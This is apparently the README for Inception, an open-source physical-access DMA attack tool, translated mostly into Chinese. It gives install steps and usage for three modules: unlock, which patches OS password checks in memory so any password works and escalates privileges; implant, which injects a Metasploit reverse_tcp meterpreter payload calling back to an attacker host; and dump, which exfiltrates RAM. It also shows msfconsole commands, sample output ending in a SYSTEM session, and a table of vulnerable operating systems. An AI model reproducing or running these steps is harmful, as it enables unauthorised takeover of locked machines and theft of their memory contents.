
Inception is a physical memory manipulation and hacking tool exploiting PCI-based DMA. The tool can attack over FireWire, Thunderbolt, ExpressCard, PC Card and any other PCI/PCIe interfaces.
注意:此工具已不再活跃开发,请查看 PCILeech 代替。
Inception 是一款利用基于 PCI 的 DMA 进行物理内存操控和黑客攻击的工具。该工具可通过 FireWire、Thunderbolt、ExpressCard、PC Card 以及任何其他 PCI/PCIe 硬件接口进行攻击。
Inception 旨在提供一种相对快速、稳定、简单且可扩展的方式,通过 DMA 对运行中的计算机执行侵入性和非侵入性内存攻击。
Inception 的模块工作原理如下:通过向受害者机器呈现一个序列总线协议 2(SBP-2)单元目录(通过 IEEE1394 FireWire 接口),受害者操作系统会认为一个 SBP-2 设备已连接到 FireWire 端口。由于 SBP-2 设备利用直接内存访问(DMA)来实现快速、大批量数据传输(例如 FireWire 硬盘和数码摄像机),受害者会降低防护并为该设备启用 DMA。此时,工具便获得了对受害者内存低 4GB 区域的完全读写权限。
一旦获得 DMA 授权,工具便会搜索可用内存页面,在操作系统代码的特定偏移处查找特征签名。找到后,工具会操控这些代码。例如,在解锁模块中,工具会短路操作系统的密码认证模块(该模块在输入错误密码时被触发)。
运行该模块后,你应该能够使用任何密码登录受害者机器。
这个操作的比喻类似于在机器的内存中植入一个想法:任何密码都是正确的。换句话说,相当于内存植入。
Inception 是免费提供的,也是我的一个业余项目。
世界各地的取证专家、政府以及三个字母的机构已经在使用类似工具。因此,如果你是持不同政见者或面对一个压迫性政权,这个工具说明了 OPSEC 的重要性。永远不要让你的笔记本电脑离开视线。
OS X > 10.7.2 和 Windows > 8.1 在用户锁定操作系统时禁用了 FireWire DMA,从而阻止了 Inception。当用户登录时,该工具仍然可以工作。然而,这在现实中是一个不太可能的攻击场景。
此外,OS X Mavericks > 10.8.2 在 Ivy Bridge(>= 2012 年的 Mac)上 启用了 VT-D,有效阻止了 DMA 请求,即使已登录也无法使用任何 Inception 模块。请在你的日志/控制台中查找 vtd[0] fault 条目。
尽管这两个注意事项将逐渐减少此工具适用的场景,但截至 2015 年 3 月,仍有 70% 的机器是脆弱的。
该工具使用了 libforensic1394 库,由 Freddie Witherden 根据 LGPL 许可证提供。
Inception 需要:
目前推荐在攻击端使用 Linux,因为 OS X 上的 FireWire 接口存在 bug。注意,直接 Thunderbolt 到 Thunderbolt 不起作用,你需要一个 FireWire 适配器。在 Linux 上尝试使用 Thunderbolt 时,效果可能因设备而异。
在基于 Debian 的发行版上,安装命令可以概括为(如果不是 root,根据需要应用 sudo):
apt-get install git cmake g++ python3 python3-pip
在 OS X 上,你可以使用 homebrew 安装工具所需的依赖:
brew install git cmake python3
安装依赖后,下载并安装 libforensic1394:
wget https://freddie.witherden.org/tools/libforensic1394/releases/libforensic1394-0.2.tar.gz -O - | tar xz
cd libforensic1394-0.2
cmake CMakeLists.txt
make install
cd python
python3 setup.py install
git clone git://github.com/carmaa/inception.git
cd inception
./setup.py install
如果你已安装 pip,安装脚本应能自动安装依赖项。
只需输入:
incept [模块名称]
如需更完整和最新的描述,请运行:
incept -h
或查看工具主页。
从 0.4.0 版本开始,Inception 已模块化。当前模块及其功能如下所述。
如需详细的用法选项,请运行:
incept [模块名称] -h
unlock 模块可以解锁(任何密码都被接受)并将权限提升到管理员/root,适用于几乎*任何你拥有物理访问权限且已开机的机器。该模块主要用于那些使用了全盘加密(如 BitLocker、FileVault、TrueCrypt 或 Pointsec)的计算机。对于没有加密的机器,还有很多其他(且更好)的攻击方式。
解锁模块在拥有 4 GiB 或更少主内存的机器上稳定运行。如果目标机器内存超过 4 GiB,则需要足够幸运才能在工具可访问的物理内存页框中找到特征签名。
在此版本中,它能解锁以下 x86 和 x64 操作系统:
(1):请参见上面的注意事项。
使用 PAM 认证的其他 Linux 发行版也可能通过 Ubuntu 特征签名工作。
该模块还能有效实现权限提升,例如通过 runas 或 sudo -s 命令。
要解锁,只需输入:
incept unlock
_| _| _| _|_|_| _|_|_|_| _|_|_| _|_|_| _| _|_| _| _|
_| _|_| _| _| _| _| _| _| _| _| _| _|_| _|
_| _| _| _| _| _|_|_| _|_|_| _| _| _| _| _| _| _|
_| _| _|_| _| _| _| _| _| _| _| _| _|_|
_| _| _| _|_|_| _|_|_|_| _| _| _| _|_| _| _|
v.0.4.0 (C) Carsten Maartmann-Moe 2014
下载:https://github.com/carmaa/inception | Twitter:@MaartmannMoe
[?] 可能写入文件。确定吗?[y/N] y
[*] 可用的目标(已知签名):
[1] Windows 8 MsvpPasswordValidate 解锁/权限提升
[2] Windows 7 MsvpPasswordValidate 解锁/权限提升
[3] Windows Vista MsvpPasswordValidate 解锁/权限提升
[4] Windows XP MsvpPasswordValidate 解锁/权限提升
[5] Mac OS X DirectoryService/OpenDirectory 解锁/权限提升
[6] Ubuntu libpam 解锁/权限提升
[7] Linux Mint libpam 解锁/权限提升
[?] 请选择目标(或输入 'q' 退出):2
[*] 选择的目标:Windows 7 MsvpPasswordValidate 解锁/权限提升
[=============> ] 227 MiB ( 22%)
[*] 在页号 58227 的 0xe373312 处找到签名
[*] 补丁验证成功
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!
implant 模块将(仅内存的)Metasploit 载荷直接植入目标机器的易失性内存中。它通过 Metasploit 各版本中自带的 msfrpcd 守护进程与 MSF 集成。
当前版本仅作为概念验证,适用于 Windows 7 SP1 x86。不支持其他操作系统、版本或架构,也不保证将来会支持。
要使用它,先启动 msfrpcd:
msfrpcd -P [密码]
然后在另一个终端中启动 Inception:
incept implant --msfpw [密码] --msfopts [选项]
例如,要创建一个从目标机器到攻击主机的反向 TCP meterpreter shell,首先启动 msfrpcd 守护进程,然后启动一个监听回调的控制台。
msfrpcd -P password
msfconsole
在控制台中,我们配置载荷的接收端。将 EXITFUNC 选项设置为 thread,以确保如果出现问题,目标进程保持存活:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 172.16.1.1
set EXITFUNC thread
set ExitOnSession false
exploit -j
然后,在另一个终端中启动 Inception:
incept implant --msfpw password --msfopts LHOST=172.16.1.1
_| _| _| _|_|_| _|_|_|_| _|_|_| _|_|_| _| _|_| _| _|
_| _|_| _| _| _| _| _| _| _| _| _| _|_| _|
_| _| _| _| _| _|_|_| _|_|_| _| _| _| _| _| _| _|
_| _| _|_| _| _| _| _| _| _| _| _| _|_|
_| _| _| _|_|_| _|_|_|_| _| _| _| _|_| _| _|
v.0.4.0 (C) Carsten Maartmann-Moe 2014
下载:https://github.com/carmaa/inception | Twitter:@MaartmannMoe
[?] 可能写入文件。确定吗?[y/N] y
[!] 此模块当前仅作为概念验证,适用于 Windows 7 SP1 x86。不支持其他操作系统、版本或架构,也不保证将来会支持。
[?] 你想使用哪个 MSF 载荷?windows/meterpreter/reverse_tcp
[*] 已选择选项:
[*] LPORT:4444
[*] LHOST:172.16.1.1
[*] EXITFUNC:thread
[*] 阶段 1:搜索注入点
[================================> ] 537 MiB ( 53%)
[*] 在页号 137681 的 0x219d118c 处找到签名
[*] 在 0x219d118c 处打补丁
[\] 等待确保阶段 1 执行
[*] 恢复初始注入点的内存
[*] 阶段 2:搜索阶段 1 中分配的页面
[=========================> ] 434 MiB ( 42%)
[*] 在页号 111321 的 0x1b2d9000 处找到签名
[*] 在 0x1b2d9000 处打补丁
[*] 补丁验证成功
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!
在你的 MSF 控制台中,你应该会看到类似这样的输出:
msf exploit(handler) > [*] Sending stage (769536 bytes) to 172.16.78.200
[*] Meterpreter session 1 opened (172.16.1.1:4444 -> 172.16.78.200:49178) at 2014-08-30 16:23:31 +0200
msf exploit(handler) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ WIN-11FMQRBAMJ6 172.16.1.1:4444 -> 172.16.78.200:49178 (172.16.78.200)
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
dump 模块用于将目标机器的内存转储到攻击主机。
incept dump
_| _| _| _|_|_| _|_|_|_| _|_|_| _|_|_| _| _|_| _| _|
_| _|_| _| _| _| _| _| _| _| _| _| _|_| _|
_| _| _| _| _| _|_|_| _|_|_| _| _| _| _| _| _| _|
_| _| _|_| _| _| _| _| _| _| _| _| _|_|
_| _| _| _|_|_| _|_|_|_| _| _| _| _|_| _| _|
v.0.4.0 (C) Carsten Maartmann-Moe 2014
下载:https://github.com/carmaa/inception | Twitter:@MaartmannMoe
[*] 正在从 0x0 转储到 0x40000000,共 1 GiB:
[==============================================================] 1024 MiB (100%)
[*] 内存已转储到文件 memdump_0x0-0x40000000_20140830-174305.bin
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!
请参阅顶部的注释和工具主页。
请参阅工具主页。
不要用此工具做坏事。另外,我是一名渗透测试人员,不是开发者。所以如果你看到奇怪的代码影响了你的 Pythonic 纯洁感,请告诉我如何改进。或者更棒的是,分叉我的代码,修改它并提交拉取请求。
| 操作系统 | 版本 | 解锁锁定屏幕 | 权限提升 |
|---|
| Windows 8 | 8.1 | 是 (1) | 是 (1) |
| Windows 8 | 8.0 | 是 | 是 |
| Windows 7 | SP1 | 是 | 是 |
| Windows 7 | SP0 | 是 | 是 |
| Windows Vista | SP2 | 是 | 是 |
| Windows Vista | SP1 | 是 | 是 |
| Windows Vista | SP0 | 是 | 是 |
| Windows XP | SP3 | 是 | 是 |
| Windows XP | SP2 | 是 | 是 |
| Windows XP | SP1 | ||
| Windows XP | SP0 | ||
| Mac OS X | Mavericks | 是 (1) | 是 (1) |
| Mac OS X | Mountain Lion | 是 (1) | 是 (1) |
| Mac OS X | Lion | 是 (1) | 是 (1) |
| Mac OS X | Snow Leopard | 是 | 是 |
| Mac OS X | Leopard | ||
| Ubuntu | Saucy | 是 | 是 |
| Ubuntu | Raring | 是 | 是 |
| Ubuntu | Quantal | 是 | 是 |
| Ubuntu | Precise | 是 | 是 |
| Ubuntu | Oneiric | 是 | 是 |
| Ubuntu | Natty | 是 | 是 |
| Linux Mint | 13 | 是 | 是 |
| Linux Mint | 12 | 是 | 是 |
| Linux Mint | 12 | 是 | 是 |